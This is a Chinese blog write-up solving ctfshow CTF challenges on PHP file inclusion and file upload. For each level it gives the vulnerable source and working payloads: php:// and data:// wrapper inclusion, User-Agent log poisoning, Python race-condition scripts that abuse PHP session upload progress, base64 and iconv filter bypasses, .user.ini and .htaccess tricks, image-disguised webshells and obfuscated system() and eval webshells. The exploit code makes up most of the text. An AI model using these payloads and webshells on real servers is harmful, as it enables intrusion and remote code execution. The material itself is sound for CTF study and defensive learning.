ctfshow-文件包含&文件上传(详解)

文件包含

web78-79

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}
?>

伪协议:

?file=php://filter/read=convert.base64-encode/resource=flag.php
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

web80

<?php


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

此处利用的是日志文件被包含,然后通过ua头来写入命令执行函数

GET /?file=../../../../var/log/nginx/access.log HTTP/1.1
Host: 33343a7c-bfff-4698-bb14-da66ae32aab7.challenge.ctf.show:8080
User-Agent: <?php system('ls');?>

这里我go失败了

web81

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FFShzOQV-1626750344466)(http://images2.5666888.xyz//搜狗截图21年07月03日1308_1.png)]

利用web80的方法成功实现命令执行,并读取到flag

web82

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

点被ban了所以上面的方法不能使用了

这个题目要利用php_SESSION_UPLOAD_PROGRESS

阻碍条件一

session.auto_start=On(也就是等于利用session_start();来初始化一个会话),则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。

有利条件一

但是还有一个默认选项session.use_strict_mode的值为off(默认值),如果开启他会限制用户的sessid,使其非用户可控,这样做的目的就是在cookie中设置phpsessid的时候保证我们的值可控来实现达到攻击的效果,这样我们如果传入COOKIE:PHPSESSID=flag,加上我们传入的post数据,就会生成/tmp/sess_flag文件,即使用户没有初始化一个会话,php也会自动初始化一个session,并且同时会产生一个健值,这个健值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_name文件里。

阻碍条件二

默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,一旦读取了所有POST数据,它就会清除进度信息

解决方案:利用条件竞争来实现

首先构造post数据包:

<!DOCTYPE html>
<html>
<body>
<form action="http://988f4820-c15d-47e3-ae23-353645cab577.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UngKtYO0-1626750344467)(http://images2.5666888.xyz//搜狗截图21年07月03日1747_1.png)]

线程开的大一点基本在20左右然后就会爆出来

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ipck5l6H-1626750344469)(http://images2.5666888.xyz//搜狗截图21年07月03日1759_2.png)]

理一下思路:

PHP利用Session实现上传进度

因为当session.upload_progress.enabled在ini选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态

而在ini文件当中是这个样子的

session.upload_progress.enabled = "1"
session.upload_progress.cleanup = "1"
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"

首先利用post传包,并且利用php_session.upload_progress来做到将自己定义的名字为phpsessid中的值的文件成功传入攻击对象服务器中,又因为clean方法的存在,所以需要一边包含此文件,一边传入此文件来触发文件包含漏洞,达到命令执行的效果

session文件默认存储路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

web83

<?php

session_unset();
session_destroy();

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);

    include($file);
}else{
    highlight_file(__FILE__);
}

比上一道题多了两个函数:

session_unset() 会释放当前会话注册的所有会话变量。

session_destroy() 销毁当前会话中的全部数据, 但是不会重置当前会话所关联的全局变量, 也不会重置会话 cookie。 如果需要再次使用会话变量, 必须重新调用 **session_start()**函数。

为了彻底销毁会话,比如在用户退出登录的时候,必须同时重置会话 ID。 如果是通过 cookie 方式传送会话 ID 的,那么同时也需要 调用 setcookie() 函数来 删除客户端的会话 cookie。

**Hints:**这里需要多添加session_start()来建立会话

<!DOCTYPE html>
<html>
<body>
<form action="http://e0095d68-5aa1-477e-9294-4ee1c0d46581.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

大佬脚本(可以一把梭到web86,没有测试过只是帖一下不知道好用不好用):

import io
import sys
import requests
import threading

sessid = 'Qftm'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/?file=/tmp/sess_{sessid}')
        if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

依然得到fl0g.php

然后同样利用条件竞争来读取即可线程20左右很快就读取到了

web84

看了一下剩下一直到web86的Hint,发现一摸一样所以就只帖一下源码,不打算重复操作了其实既然明白了session.upload_process对文件上传的处理过程,这种题目就已经没有了多大意义了

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
}else{
    highlight_file(__FILE__);
}

这里面多了一个删除的命令,但是因为session.upload_progress.cleanup = "1"的作用重复了,所以只要访问够快,就一定可以访问到,所以没去尝试,原理一样

web85

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }
        include($file);
    }
    
}else{
    highlight_file(__FILE__);
}

同理,将你访问的文件进行判断是否有<这个符号,有就直接挂,感觉竞争上的话应该也可以

web86

<?php

define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);

    
}else{
    highlight_file(__FILE__);
}

定义一个常量,值为当前目录的路径,经过测试:/var/www/html竞争依然可以行得通

web87

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

}else{
    highlight_file(__FILE__);
}

首先了解一些base64编码的原理

谈一谈php://filter的妙用 |p神的文章

步骤:

1.利用gir传参决定以base64的方式写入1.php

2.由于base64特殊符号只识别/+所以多加两位密文字母做到4的整数位来使其符合base64的位数

payload:

?file=php://filter/write=convert.base64-decode/resource=666.php
这个地方get传参需要两次url编码
content=yyPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
此处base64解码:<?php @eval($_POST[1]);?>

然后访问666.php配合hackbar执行一句话木马即可

web88

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

data伪协议就能过

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOyA/Pg    //<?php system("ls"); ?>删除了最后的两个==
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmwwZy5waHAiKTsgPz4    //<?php system("cat fl0g.php"); ?>删除了最后的一个=

web117

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

利用各种编码绕过:

file_put_content和死亡·杂糅代码之缘 - 先知社区 (aliyun.com)

iconv ( string $in_charset , string $out_charset , string $str ) : 
string将字符串 str 从 in_charset 转换编码到 out_charset。
in_charset:输入的字符集。
out_charset:输出的字符集。

利用脚本(php版本需要控制在5.2左右):

<?php
echo iconv("UCS-2LE","UCS-2BE",'<?php @eval($_POST[hack]);?>');
?>
//?<hp pe@av(l_$OPTSh[ca]k;)>?

因为是两位进行一次反转,所以要尽量保证你的总字符串位数为偶数

payload:

?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pe@av(l_$OPTSh[ca]k;)>?

getshell!!!

文件上传

web153

user.ini官方文档:

自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。
此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,
从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指的)。
如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

.user.ini文件

auto_append_file=hack.png
auto_prepend_file=hack.png

此文件使用其他要求:

同目录下有php文件来包含你上传的木马文件

web154-155

尝试使用短标签绕过
对于php的标签其他写法,我们这里多说几种
1、

<? echo '123';?>
前提是开启配置参数short_open_tags=on
<?=(表达式)?>  等价于 <?php echo (表达式)?>
不需要开启参数设置

3、

<% echo '123';%>

前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。
4、

<script language=”php”>echo '123'; </script>

不需要修改参数开关,但是只能在7.0以下可用。
对于该题,我们可用使用<?=(表达式)?>进行绕过,图片内容<?=eval($_POST[1]);?>
剩下的步骤同153

web156

在前面的基础上过滤了 []那我们直接用{}来代替
图片马内容<?=eval($_POST{1});?>

web157 158 159

<?=`tac ../f*`?>//159过滤了括号可以用这个绕过
<?=system('tac ../f*')?>

web160

制作图片马

<?=include"/var/lo"."g/nginx/access.lo"."g"?>
copy 1.png/b + 1.php/a cnm.png

利用.user.ini

auto_prepend_file="cnm.png"

方法一

UA头注入一句话木马,蚁剑连接即可

upload.php源代码:

error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && check($content)){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }
                
            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }
    		
    	}else{
    		$ret = array("code"=>2,"msg"=>"文件类型不合规");
    	}
    	
    }

}
function check($str){
    return !preg_match('/php|\{|\[|\;|log|\(| |\`/i', $str);
}
echo json_encode($ret);

方法二

cnm.png中的内容为:

<?= include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

web161

在160的基础上制作一个合格的图片马

考点:

文件上传漏洞之getimagesize()类型验证

GIF89A
<?= include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

然后访问upload下面的index.php就可以了

web162-163

考查点是session文件包含,因为有session_upload_process.cleanup存在,所以需要竞争一下

继续构造.user.ini文件

GIF89A
auto_prepend_file="png"

session文件默认储存路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

这里需要木马文件的名字为png

GIF89a
<?= include /tmp/sess_yn8rt?>

或者直接.user.ini

GIF89a
auto_append_file=/tmp/sess_yn8rt

然后利用脚本发包(本人试验失败,并且用bp也失败了)

import io#io库
import requests#requests路
import threading#多线程库

url = 'http://2f7dadc0-f18d-41db-b727-61fd89b2d983.challenge.ctf.show:8080/'
sessid = 'yn8rt'

def write(session):#写入函数
    while event.isSet():#当事件开启
        f = io.BytesIO(b'a'*256)
        response = session.post(#post形式访问
            url,#url不变
            cookies = {'PHPSESSID':sessid},#cookies赋值
            data = {'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("cat /f*");?>'},#文件内容
            files = {'file':('harker.txt',f)}#文件形式
        )
def read(session):#读取函数
    while event.isSet():#当事件开启
        response = session.get(url+'upload/index.php'.format(sessid))#以get形式访问
        if 'ctfshow' in response.text:#如果存在flag则打印出内容
            print(response.text)
            event.clear()#关闭事件
        else:
            print('NO')#输出NO
if __name__=='__main__':
    event = threading.Event()#定义事件
    event.set()#开启事件
    with requests.session() as session: # 上下文管理,可以处理异常
        for i in range(1,30): # 开启线程
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30): # 开启线程
            threading.Thread(target=read,args=(session,)).start()

web164-165(不弄)

web166

考点:针对zip文件校验

Content-Type: application/x-zip-compressed

然后zip抓包直接写入一句话木马,蚁剑连接就行

web167

考点:

.htaccess文件:

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

AddType application/x-httpd-php .png   //将.png后缀的文件解析 成php
<FilesMatch "666.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

web168

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

web169-170

利用.user.ini

进行UA头的日志文件包含

auto_append_file=“/var/log/nginx/access.log”

此处需要上传zip文件,然后type类型为image/png,有点扯淡

然后上传1.php时修改UA写马,然后蚁剑连接/upload/1.php就可以了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Yn8rt

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值